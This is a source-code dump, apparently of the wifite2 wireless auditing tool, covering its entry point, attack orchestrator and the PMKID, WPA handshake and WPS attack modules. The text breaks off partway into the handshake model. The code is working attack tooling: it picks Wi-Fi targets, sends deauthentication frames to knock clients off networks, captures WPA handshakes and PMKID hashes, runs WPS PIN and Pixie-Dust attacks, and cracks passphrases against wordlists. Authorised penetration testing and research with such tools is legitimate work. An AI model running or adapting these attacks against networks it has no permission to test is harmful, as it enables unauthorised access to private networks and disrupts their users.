/wifite/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/wifite/__init__.py -------------------------------------------------------------------------------- /wifite/__main__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | try: 5 | from .config import Configuration 6 | except (ValueError, ImportError) as e: 7 | raise Exception('You may need to run wifite from the root directory (which includes README.md)', e) 8 | 9 | from .util.color import Color 10 | 11 | import os 12 | import sys 13 | 14 | 15 | class Wifite(object): 16 | 17 | def __init__(self): 18 | ''' 19 | Initializes Wifite. Checks for root permissions and ensures dependencies are installed. 20 | ''' 21 | 22 | self.print_banner() 23 | 24 | Configuration.initialize(load_interface=False) 25 | 26 | if os.getuid() != 0: 27 | Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') 28 | Color.pl('{!} {R}re-run with {O}sudo{W}') 29 | Configuration.exit_gracefully(0) 30 | 31 | from .tools.dependency import Dependency 32 | Dependency.run_dependency_check() 33 | 34 | 35 | def start(self): 36 | ''' 37 | Starts target-scan + attack loop, or launches utilities dpeending on user input. 38 | ''' 39 | from .model.result import CrackResult 40 | from .model.handshake import Handshake 41 | from .util.crack import CrackHelper 42 | 43 | if Configuration.show_cracked: 44 | CrackResult.display() 45 | 46 | elif Configuration.check_handshake: 47 | Handshake.check() 48 | 49 | elif Configuration.crack_handshake: 50 | CrackHelper.run() 51 | 52 | else: 53 | Configuration.get_monitor_mode_interface() 54 | self.scan_and_attack() 55 | 56 | 57 | def print_banner(self): 58 | '''Displays ASCII art of the highest caliber.''' 59 | Color.pl(r' {G} . {GR}{D} {W}{G} . {W}') 60 | Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version) 61 | Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}') 62 | Color.pl(r' {G}`. · `{GR}{D} /¯\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}') 63 | Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}') 64 | Color.pl('') 65 | 66 | 67 | def scan_and_attack(self): 68 | ''' 69 | 1) Scans for targets, asks user to select targets 70 | 2) Attacks each target 71 | ''' 72 | from .util.scanner import Scanner 73 | from .attack.all import AttackAll 74 | 75 | Color.pl('') 76 | 77 | # Scan 78 | s = Scanner() 79 | targets = s.select_targets() 80 | 81 | # Attack 82 | attacked_targets = AttackAll.attack_multiple(targets) 83 | 84 | Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets) 85 | 86 | 87 | ############################################################## 88 | 89 | 90 | def entry_point(): 91 | try: 92 | wifite = Wifite() 93 | wifite.start() 94 | except Exception as e: 95 | Color.pexception(e) 96 | Color.pl('\n{!} {R}Exiting{W}\n') 97 | 98 | except KeyboardInterrupt: 99 | Color.pl('\n{!} {O}Interrupted, Shutting down...{W}') 100 | 101 | Configuration.exit_gracefully(0) 102 | 103 | 104 | if __name__ == '__main__': 105 | entry_point() 106 | -------------------------------------------------------------------------------- /wifite/attack/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/wifite/attack/__init__.py -------------------------------------------------------------------------------- /wifite/attack/all.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .wep import AttackWEP 5 | from .wpa import AttackWPA 6 | from .wps import AttackWPS 7 | from .pmkid import AttackPMKID 8 | from ..config import Configuration 9 | from ..util.color import Color 10 | 11 | class AttackAll(object): 12 | 13 | @classmethod 14 | def attack_multiple(cls, targets): 15 | ''' 16 | Attacks all given `targets` (list[wifite.model.target]) until user interruption. 17 | Returns: Number of targets that were attacked (int) 18 | ''' 19 | if any(t.wps for t in targets) and not AttackWPS.can_attack_wps(): 20 | # Warn that WPS attacks are not available. 21 | Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}') 22 | 23 | attacked_targets = 0 24 | targets_remaining = len(targets) 25 | for index, target in enumerate(targets, start=1): 26 | attacked_targets += 1 27 | targets_remaining -= 1 28 | 29 | bssid = target.bssid 30 | essid = target.essid if target.essid_known else '{O}ESSID unknown{W}' 31 | 32 | Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) + 33 | ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid)) 34 | 35 | should_continue = cls.attack_single(target, targets_remaining) 36 | if not should_continue: 37 | break 38 | 39 | return attacked_targets 40 | 41 | @classmethod 42 | def attack_single(cls, target, targets_remaining): 43 | ''' 44 | Attacks a single `target` (wifite.model.target). 45 | Returns: True if attacks should continue, False otherwise. 46 | ''' 47 | 48 | attacks = [] 49 | 50 | if Configuration.use_eviltwin: 51 | # TODO: EvilTwin attack 52 | pass 53 | 54 | elif 'WEP' in target.encryption: 55 | attacks.append(AttackWEP(target)) 56 | 57 | elif 'WPA' in target.encryption: 58 | # WPA can have multiple attack vectors: 59 | 60 | # WPS 61 | if not Configuration.use_pmkid_only: 62 | if target.wps != False and AttackWPS.can_attack_wps(): 63 | # Pixie-Dust 64 | if Configuration.wps_pixie: 65 | attacks.append(AttackWPS(target, pixie_dust=True)) 66 | 67 | # PIN attack 68 | if Configuration.wps_pin: 69 | attacks.append(AttackWPS(target, pixie_dust=False)) 70 | 71 | if not Configuration.wps_only: 72 | # PMKID 73 | attacks.append(AttackPMKID(target)) 74 | 75 | # Handshake capture 76 | if not Configuration.use_pmkid_only: 77 | attacks.append(AttackWPA(target)) 78 | 79 | if len(attacks) == 0: 80 | Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available') 81 | return True # Keep attacking other targets (skip) 82 | 83 | while len(attacks) > 0: 84 | attack = attacks.pop(0) 85 | try: 86 | result = attack.run() 87 | if result: 88 | break # Attack was successful, stop other attacks. 89 | except Exception as e: 90 | Color.pexception(e) 91 | continue 92 | except KeyboardInterrupt: 93 | Color.pl('\n{!} {O}Interrupted{W}\n') 94 | answer = cls.user_wants_to_continue(targets_remaining, len(attacks)) 95 | if answer is True: 96 | continue # Keep attacking the same target (continue) 97 | elif answer is None: 98 | return True # Keep attacking other targets (skip) 99 | else: 100 | return False # Stop all attacks (exit) 101 | 102 | if attack.success: 103 | attack.crack_result.save() 104 | 105 | return True # Keep attacking other targets 106 | 107 | 108 | @classmethod 109 | def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0): 110 | ''' 111 | Asks user if attacks should continue onto other targets 112 | Returns: 113 | True if user wants to continue, False otherwise. 114 | ''' 115 | if attacks_remaining == 0 and targets_remaining == 0: 116 | return # No targets or attacksleft, drop out 117 | 118 | prompt_list = [] 119 | if attacks_remaining > 0: 120 | prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) 121 | if targets_remaining > 0: 122 | prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) 123 | prompt = ' and '.join(prompt_list) + ' remain' 124 | Color.pl('{+} %s' % prompt) 125 | 126 | prompt = '{+} Do you want to' 127 | options = '(' 128 | 129 | if attacks_remaining > 0: 130 | prompt += ' {G}continue{W} attacking,' 131 | options += '{G}C{W}{D}, {W}' 132 | 133 | if targets_remaining > 0: 134 | prompt += ' {O}skip{W} to the next target,' 135 | options += '{O}s{W}{D}, {W}' 136 | 137 | options += '{R}e{W})' 138 | prompt += ' or {R}exit{W} %s? {C}' % options 139 | 140 | from ..util.input import raw_input 141 | answer = raw_input(Color.s(prompt)).lower() 142 | 143 | if answer.startswith('s'): 144 | return None # Skip 145 | elif answer.startswith('e'): 146 | return False # Exit 147 | else: 148 | return True # Continue 149 | 150 | -------------------------------------------------------------------------------- /wifite/attack/pmkid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..model.attack import Attack 5 | from ..config import Configuration 6 | from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat 7 | from ..util.color import Color 8 | from ..util.timer import Timer 9 | from ..model.pmkid_result import CrackResultPMKID 10 | 11 | from threading import Thread 12 | import os 13 | import time 14 | import re 15 | 16 | 17 | class AttackPMKID(Attack): 18 | 19 | def __init__(self, target): 20 | super(AttackPMKID, self).__init__(target) 21 | self.crack_result = None 22 | self.success = False 23 | self.pcapng_file = Configuration.temp('pmkid.pcapng') 24 | 25 | 26 | def get_existing_pmkid_file(self, bssid): 27 | ''' 28 | Load PMKID Hash from a previously-captured hash in ./hs/ 29 | Returns: 30 | The hashcat hash (hash*bssid*station*essid) if found. 31 | None if not found. 32 | ''' 33 | if not os.path.exists(Configuration.wpa_handshake_dir): 34 | return None 35 | 36 | bssid = bssid.lower().replace(':', '') 37 | 38 | file_re = re.compile('.*pmkid_.*\.16800') 39 | for filename in os.listdir(Configuration.wpa_handshake_dir): 40 | pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename) 41 | if not os.path.isfile(pmkid_filename): 42 | continue 43 | if not re.match(file_re, pmkid_filename): 44 | continue 45 | 46 | with open(pmkid_filename, 'r') as pmkid_handle: 47 | pmkid_hash = pmkid_handle.read().strip() 48 | if pmkid_hash.count('*') < 3: 49 | continue 50 | existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '') 51 | if existing_bssid == bssid: 52 | return pmkid_filename 53 | return None 54 | 55 | 56 | def run(self): 57 | ''' 58 | Performs PMKID attack, if possible. 59 | 1) Captures PMKID hash (or re-uses existing hash if found). 60 | 2) Cracks the hash. 61 | 62 | Returns: 63 | True if handshake is captured. False otherwise. 64 | ''' 65 | from ..util.process import Process 66 | # Check that we have all hashcat programs 67 | dependencies = [ 68 | Hashcat.dependency_name, 69 | HcxDumpTool.dependency_name, 70 | HcxPcapTool.dependency_name 71 | ] 72 | missing_deps = [dep for dep in dependencies if not Process.exists(dep)] 73 | if len(missing_deps) > 0: 74 | Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps)) 75 | return False 76 | 77 | pmkid_file = None 78 | 79 | if Configuration.ignore_old_handshakes == False: 80 | # Load exisitng PMKID hash from filesystem 81 | pmkid_file = self.get_existing_pmkid_file(self.target.bssid) 82 | if pmkid_file is not None: 83 | Color.pattack('PMKID', self.target, 'CAPTURE', 84 | 'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file) 85 | 86 | if pmkid_file is None: 87 | # Capture hash from live target. 88 | pmkid_file = self.capture_pmkid() 89 | 90 | if pmkid_file is None: 91 | return False # No hash found. 92 | 93 | # Crack it. 94 | try: 95 | self.success = self.crack_pmkid_file(pmkid_file) 96 | except KeyboardInterrupt: 97 | Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}') 98 | self.success = False 99 | return False 100 | 101 | return True # Even if we don't crack it, capturing a PMKID is 'successful' 102 | 103 | 104 | def capture_pmkid(self): 105 | ''' 106 | Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file. 107 | Returns: 108 | The PMKID hash (str) if found, otherwise None. 109 | ''' 110 | self.keep_capturing = True 111 | self.timer = Timer(Configuration.pmkid_timeout) 112 | 113 | # Start hcxdumptool 114 | t = Thread(target=self.dumptool_thread) 115 | t.start() 116 | 117 | # Repeatedly run pcaptool & check output for hash for self.target.essid 118 | pmkid_hash = None 119 | pcaptool = HcxPcapTool(self.target) 120 | while self.timer.remaining() > 0: 121 | pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file) 122 | if pmkid_hash is not None: 123 | break # Got PMKID 124 | 125 | Color.pattack('PMKID', self.target, 'CAPTURE', 126 | 'Waiting for PMKID ({C}%s{W})' % str(self.timer)) 127 | time.sleep(1) 128 | 129 | self.keep_capturing = False 130 | 131 | if pmkid_hash is None: 132 | Color.pattack('PMKID', self.target, 'CAPTURE', 133 | '{R}Failed{O} to capture PMKID\n') 134 | Color.pl('') 135 | return None # No hash found. 136 | 137 | Color.clear_entire_line() 138 | Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}') 139 | pmkid_file = self.save_pmkid(pmkid_hash) 140 | return pmkid_file 141 | 142 | 143 | def crack_pmkid_file(self, pmkid_file): 144 | ''' 145 | Runs hashcat containing PMKID hash (*.16800). 146 | If cracked, saves results in self.crack_result 147 | Returns: 148 | True if cracked, False otherwise. 149 | ''' 150 | 151 | # Check that wordlist exists before cracking. 152 | if Configuration.wordlist is None: 153 | Color.pl('\n{!} {O}Not cracking PMKID ' + 154 | 'because there is no {R}wordlist{O} (re-run with {C}--dict{O})') 155 | 156 | # TODO: Uncomment once --crack is updated to support recracking PMKIDs. 157 | #Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.') 158 | 159 | key = None 160 | else: 161 | Color.clear_entire_line() 162 | Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist) 163 | key = Hashcat.crack_pmkid(pmkid_file) 164 | 165 | if key is None: 166 | # Failed to crack. 167 | if Configuration.wordlist is not None: 168 | Color.clear_entire_line() 169 | Color.pattack('PMKID', self.target, '{R}CRACK', 170 | '{R}Failed {O}Passphrase not found in dictionary.\n') 171 | return False 172 | else: 173 | # Successfully cracked. 174 | Color.clear_entire_line() 175 | Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key) 176 | self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, 177 | pmkid_file, key) 178 | Color.pl('\n') 179 | self.crack_result.dump() 180 | return True 181 | 182 | 183 | def dumptool_thread(self): 184 | '''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`''' 185 | dumptool = HcxDumpTool(self.target, self.pcapng_file) 186 | 187 | # Let the dump tool run until we have the hash. 188 | while self.keep_capturing and dumptool.poll() is None: 189 | time.sleep(0.5) 190 | 191 | dumptool.interrupt() 192 | 193 | 194 | def save_pmkid(self, pmkid_hash): 195 | '''Saves a copy of the pmkid (handshake) to hs/ directory.''' 196 | # Create handshake dir 197 | if not os.path.exists(Configuration.wpa_handshake_dir): 198 | os.makedirs(Configuration.wpa_handshake_dir) 199 | 200 | # Generate filesystem-safe filename from bssid, essid and date 201 | essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid) 202 | bssid_safe = self.target.bssid.replace(':', '-') 203 | date = time.strftime('%Y-%m-%dT%H-%M-%S') 204 | pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date) 205 | pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file) 206 | 207 | Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file) 208 | with open(pmkid_file, 'w') as pmkid_handle: 209 | pmkid_handle.write(pmkid_hash) 210 | pmkid_handle.write('\n') 211 | 212 | return pmkid_file 213 | 214 | -------------------------------------------------------------------------------- /wifite/attack/wpa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..model.attack import Attack 5 | from ..tools.aircrack import Aircrack 6 | from ..tools.airodump import Airodump 7 | from ..tools.aireplay import Aireplay 8 | from ..config import Configuration 9 | from ..util.color import Color 10 | from ..util.process import Process 11 | from ..util.timer import Timer 12 | from ..model.handshake import Handshake 13 | from ..model.wpa_result import CrackResultWPA 14 | 15 | import time 16 | import os 17 | import re 18 | from shutil import copy 19 | 20 | class AttackWPA(Attack): 21 | def __init__(self, target): 22 | super(AttackWPA, self).__init__(target) 23 | self.clients = [] 24 | self.crack_result = None 25 | self.success = False 26 | 27 | def run(self): 28 | '''Initiates full WPA handshake capture attack.''' 29 | 30 | # Skip if target is not WPS 31 | if Configuration.wps_only and self.target.wps == False: 32 | Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid) 33 | self.success = False 34 | return self.success 35 | 36 | # Skip if user only wants to run PMKID attack 37 | if Configuration.use_pmkid_only: 38 | self.success = False 39 | return False 40 | 41 | # Capture the handshake (or use an old one) 42 | handshake = self.capture_handshake() 43 | 44 | if handshake is None: 45 | # Failed to capture handshake 46 | self.success = False 47 | return self.success 48 | 49 | # Analyze handshake 50 | Color.pl('\n{+} analysis of captured handshake file:') 51 | handshake.analyze() 52 | 53 | # Check wordlist 54 | if Configuration.wordlist is None: 55 | Color.pl('{!} {O}Not cracking handshake because' + 56 | ' wordlist ({R}--dict{O}) is not set') 57 | self.success = False 58 | return False 59 | 60 | elif not os.path.exists(Configuration.wordlist): 61 | Color.pl('{!} {O}Not cracking handshake because' + 62 | ' wordlist {R}%s{O} was not found' % Configuration.wordlist) 63 | self.success = False 64 | return False 65 | 66 | Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' + 67 | ' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1]) 68 | 69 | # Crack it 70 | key = Aircrack.crack_handshake(handshake, show_command=False) 71 | if key is None: 72 | Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1]) 73 | self.success = False 74 | else: 75 | Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key) 76 | self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key) 77 | self.crack_result.dump() 78 | self.success = True 79 | return self.success 80 | 81 | 82 | def capture_handshake(self): 83 | '''Returns captured or stored handshake, otherwise None.''' 84 | handshake = None 85 | 86 | # First, start Airodump process 87 | with Airodump(channel=self.target.channel, 88 | target_bssid=self.target.bssid, 89 | skip_wps=True, 90 | output_file_prefix='wpa') as airodump: 91 | 92 | Color.clear_entire_line() 93 | Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...') 94 | airodump_target = self.wait_for_target(airodump) 95 | 96 | self.clients = [] 97 | 98 | # Try to load existing handshake 99 | if Configuration.ignore_old_handshakes == False: 100 | bssid = airodump_target.bssid 101 | essid = airodump_target.essid if airodump_target.essid_known else None 102 | handshake = self.load_handshake(bssid=bssid, essid=essid) 103 | if handshake: 104 | Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid) 105 | Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile) 106 | return handshake 107 | 108 | timeout_timer = Timer(Configuration.wpa_attack_timeout) 109 | deauth_timer = Timer(Configuration.wpa_deauth_timeout) 110 | 111 | while handshake is None and not timeout_timer.ended(): 112 | step_timer = Timer(1) 113 | Color.clear_entire_line() 114 | Color.pattack('WPA', 115 | airodump_target, 116 | 'Handshake capture', 117 | 'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer)) 118 | 119 | # Find .cap file 120 | cap_files = airodump.find_files(endswith='.cap') 121 | if len(cap_files) == 0: 122 | # No cap files yet 123 | time.sleep(step_timer.remaining()) 124 | continue 125 | cap_file = cap_files[0] 126 | 127 | # Copy .cap file to temp for consistency 128 | temp_file = Configuration.temp('handshake.cap.bak') 129 | copy(cap_file, temp_file) 130 | 131 | # Check cap file in temp for Handshake 132 | bssid = airodump_target.bssid 133 | essid = airodump_target.essid if airodump_target.essid_known else None 134 | handshake = Handshake(temp_file, bssid=bssid, essid=essid) 135 | if handshake.has_handshake(): 136 | # We got a handshake 137 | Color.clear_entire_line() 138 | Color.pattack('WPA', 139 | airodump_target, 140 | 'Handshake capture', 141 | '{G}Captured handshake{W}') 142 | Color.pl('') 143 | break 144 | 145 | # There is no handshake 146 | handshake = None 147 | # Delete copied .cap file in temp to save space 148 | os.remove(temp_file) 149 | 150 | # Look for new clients 151 | airodump_target = self.wait_for_target(airodump) 152 | for client in airodump_target.clients: 153 | if client.station not in self.clients: 154 | Color.clear_entire_line() 155 | Color.pattack('WPA', 156 | airodump_target, 157 | 'Handshake capture', 158 | 'Discovered new client: {G}%s{W}' % client.station) 159 | Color.pl('') 160 | self.clients.append(client.station) 161 | 162 | # Send deauth to a client or broadcast 163 | if deauth_timer.ended(): 164 | self.deauth(airodump_target) 165 | # Restart timer 166 | deauth_timer = Timer(Configuration.wpa_deauth_timeout) 167 | 168 | # Sleep for at-most 1 second 169 | time.sleep(step_timer.remaining()) 170 | continue # Handshake listen+deauth loop 171 | 172 | if handshake is None: 173 | # No handshake, attack failed. 174 | Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout)) 175 | return handshake 176 | else: 177 | # Save copy of handshake to ./hs/ 178 | self.save_handshake(handshake) 179 | return handshake 180 | 181 | def load_handshake(self, bssid, essid): 182 | if not os.path.exists(Configuration.wpa_handshake_dir): 183 | return None 184 | 185 | if essid: 186 | essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid)) 187 | else: 188 | essid_safe = '[a-zA-Z0-9]+' 189 | bssid_safe = re.escape(bssid.replace(':', '-')) 190 | date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}' 191 | get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date)) 192 | 193 | for filename in os.listdir(Configuration.wpa_handshake_dir): 194 | cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename) 195 | if os.path.isfile(cap_filename) and re.match(get_filename, filename): 196 | return Handshake(capfile=cap_filename, bssid=bssid, essid=essid) 197 | 198 | return None 199 | 200 | def save_handshake(self, handshake): 201 | ''' 202 | Saves a copy of the handshake file to hs/ 203 | Args: 204 | handshake - Instance of Handshake containing bssid, essid, capfile 205 | ''' 206 | # Create handshake dir 207 | if not os.path.exists(Configuration.wpa_handshake_dir): 208 | os.makedirs(Configuration.wpa_handshake_dir) 209 | 210 | # Generate filesystem-safe filename from bssid, essid and date 211 | if handshake.essid and type(handshake.essid) is str: 212 | essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) 213 | else: 214 | essid_safe = 'UnknownEssid' 215 | bssid_safe = handshake.bssid.replace(':', '-') 216 | date = time.strftime('%Y-%m-%dT%H-%M-%S') 217 | cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) 218 | cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) 219 | 220 | if Configuration.wpa_strip_handshake: 221 | Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename) 222 | handshake.strip(outfile=cap_filename) 223 | Color.pl('{G}saved{W}') 224 | else: 225 | Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) 226 | copy(handshake.capfile, cap_filename) 227 | Color.pl('{G}saved{W}') 228 | 229 | # Update handshake to use the stored handshake file for future operations 230 | handshake.capfile = cap_filename 231 | 232 | 233 | def deauth(self, target): 234 | ''' 235 | Sends deauthentication request to broadcast and every client of target. 236 | Args: 237 | target - The Target to deauth, including clients. 238 | ''' 239 | if Configuration.no_deauth: return 240 | 241 | for index, client in enumerate([None] + self.clients): 242 | if client is None: 243 | target_name = '*broadcast*' 244 | else: 245 | target_name = client 246 | Color.clear_entire_line() 247 | Color.pattack('WPA', 248 | target, 249 | 'Handshake capture', 250 | 'Deauthing {O}%s{W}' % target_name) 251 | Aireplay.deauth(target.bssid, client_mac=client, timeout=2) 252 | 253 | if __name__ == '__main__': 254 | Configuration.initialize(True) 255 | from ..model.target import Target 256 | fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') 257 | target = Target(fields) 258 | wpa = AttackWPA(target) 259 | try: 260 | wpa.run() 261 | except KeyboardInterrupt: 262 | Color.pl('') 263 | pass 264 | Configuration.exit_gracefully(0) 265 | -------------------------------------------------------------------------------- /wifite/attack/wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..model.attack import Attack 5 | from ..util.color import Color 6 | from ..util.process import Process 7 | from ..config import Configuration 8 | from ..tools.bully import Bully 9 | from ..tools.reaver import Reaver 10 | 11 | class AttackWPS(Attack): 12 | 13 | @staticmethod 14 | def can_attack_wps(): 15 | return Reaver.exists() or Bully.exists() 16 | 17 | def __init__(self, target, pixie_dust=False): 18 | super(AttackWPS, self).__init__(target) 19 | self.success = False 20 | self.crack_result = None 21 | self.pixie_dust = pixie_dust 22 | 23 | def run(self): 24 | ''' Run all WPS-related attacks ''' 25 | 26 | # Drop out if user specified to not use Reaver/Bully 27 | if Configuration.use_pmkid_only: 28 | self.success = False 29 | return False 30 | 31 | if Configuration.no_wps: 32 | self.success = False 33 | return False 34 | 35 | if not Configuration.wps_pixie and self.pixie_dust: 36 | Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' + 37 | '{O}%s{W}' % self.target.essid) 38 | self.success = False 39 | return False 40 | 41 | if not Configuration.wps_pin and not self.pixie_dust: 42 | Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' + 43 | 'on {O}%s{W}' % self.target.essid) 44 | self.success = False 45 | return False 46 | 47 | if not Reaver.exists() and Bully.exists(): 48 | # Use bully if reaver isn't available 49 | return self.run_bully() 50 | elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists(): 51 | # Use bully if reaver can't do pixie-dust 52 | return self.run_bully() 53 | elif Configuration.use_bully: 54 | # Use bully if asked by user 55 | return self.run_bully() 56 | elif not Reaver.exists(): 57 | # Print error if reaver isn't found (bully not available) 58 | if self.pixie_dust: 59 | Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}') 60 | else: 61 | Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}') 62 | return False 63 | elif self.pixie_dust and not Reaver.is_pixiedust_supported(): 64 | # Print error if reaver can't support pixie-dust (bully not available) 65 | Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}') 66 | return False 67 | else: 68 | return self.run_reaver() 69 | 70 | 71 | def run_bully(self): 72 | bully = Bully(self.target, pixie_dust=self.pixie_dust) 73 | bully.run() 74 | bully.stop() 75 | self.crack_result = bully.crack_result 76 | self.success = self.crack_result is not None 77 | return self.success 78 | 79 | 80 | def run_reaver(self): 81 | reaver = Reaver(self.target, pixie_dust=self.pixie_dust) 82 | reaver.run() 83 | self.crack_result = reaver.crack_result 84 | self.success = self.crack_result is not None 85 | return self.success 86 | 87 | -------------------------------------------------------------------------------- /wifite/model/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/wifite/model/__init__.py -------------------------------------------------------------------------------- /wifite/model/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | 6 | class Attack(object): 7 | '''Contains functionality common to all attacks.''' 8 | 9 | target_wait = 60 10 | 11 | def __init__(self, target): 12 | self.target = target 13 | 14 | def run(self): 15 | raise Exception('Unimplemented method: run') 16 | 17 | def wait_for_target(self, airodump): 18 | '''Waits for target to appear in airodump.''' 19 | start_time = time.time() 20 | targets = airodump.get_targets(apply_filter=False) 21 | while len(targets) == 0: 22 | # Wait for target to appear in airodump. 23 | if int(time.time() - start_time) > Attack.target_wait: 24 | raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait) 25 | time.sleep(1) 26 | targets = airodump.get_targets() 27 | continue 28 | 29 | # Ensure this target was seen by airodump 30 | airodump_target = None 31 | for t in targets: 32 | if t.bssid == self.target.bssid: 33 | airodump_target = t 34 | break 35 | 36 | if airodump_target is None: 37 | raise Exception( 38 | 'Could not find target (%s) in airodump' % self.target.bssid) 39 | 40 | return airodump_target 41 | 42 | -------------------------------------------------------------------------------- /wifite/model/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | class Client(object): 5 | ''' 6 | Holds details for a 'Client' - a wireless device (e.g. computer) 7 | that is associated with an Access Point (e.g. router) 8 | ''' 9 | 10 | def __init__(self, fields): 11 | ''' 12 | Initializes & stores client info based on fields. 13 | Args: 14 | Fields - List of strings 15 | INDEX KEY 16 | 0 Station MAC (client's MAC address) 17 | 1 First time seen, 18 | 2 Last time seen, 19 | 3 Power, 20 | 4 # packets, 21 | 5 BSSID, (Access Point's MAC address) 22 | 6 Probed ESSIDs 23 | ''' 24 | self.station = fields[0].strip() 25 | self.power = int(fields[3].strip()) 26 | self.packets = int(fields[4].strip()) 27 | self.bssid = fields[5].strip() 28 | 29 | 30 | def __str__(self): 31 | ''' String representation of a Client ''' 32 | result = '' 33 | for (key,value) in self.__dict__.items(): 34 | result += key + ': ' + str(value) 35 | result += ', ' 36 | return result 37 | 38 | 39 | if __name__ == '__main__': 40 | fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',') 41 | c = Client(fields) 42 | print('Client', c) 43 | -------------------------------------------------------------------------------- /wifite/model/handshake.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.process import Process 5 | from ..util.color import Color 6 | from ..tools.tshark import Tshark 7 | from ..tools.pyrit import Pyrit 8 | 9 | import re, os 10 | 11 | class Handshake(object): 12 | 13 | def __init__(self, capfile, bssid=None, essid=None): 14 | self.capfile = 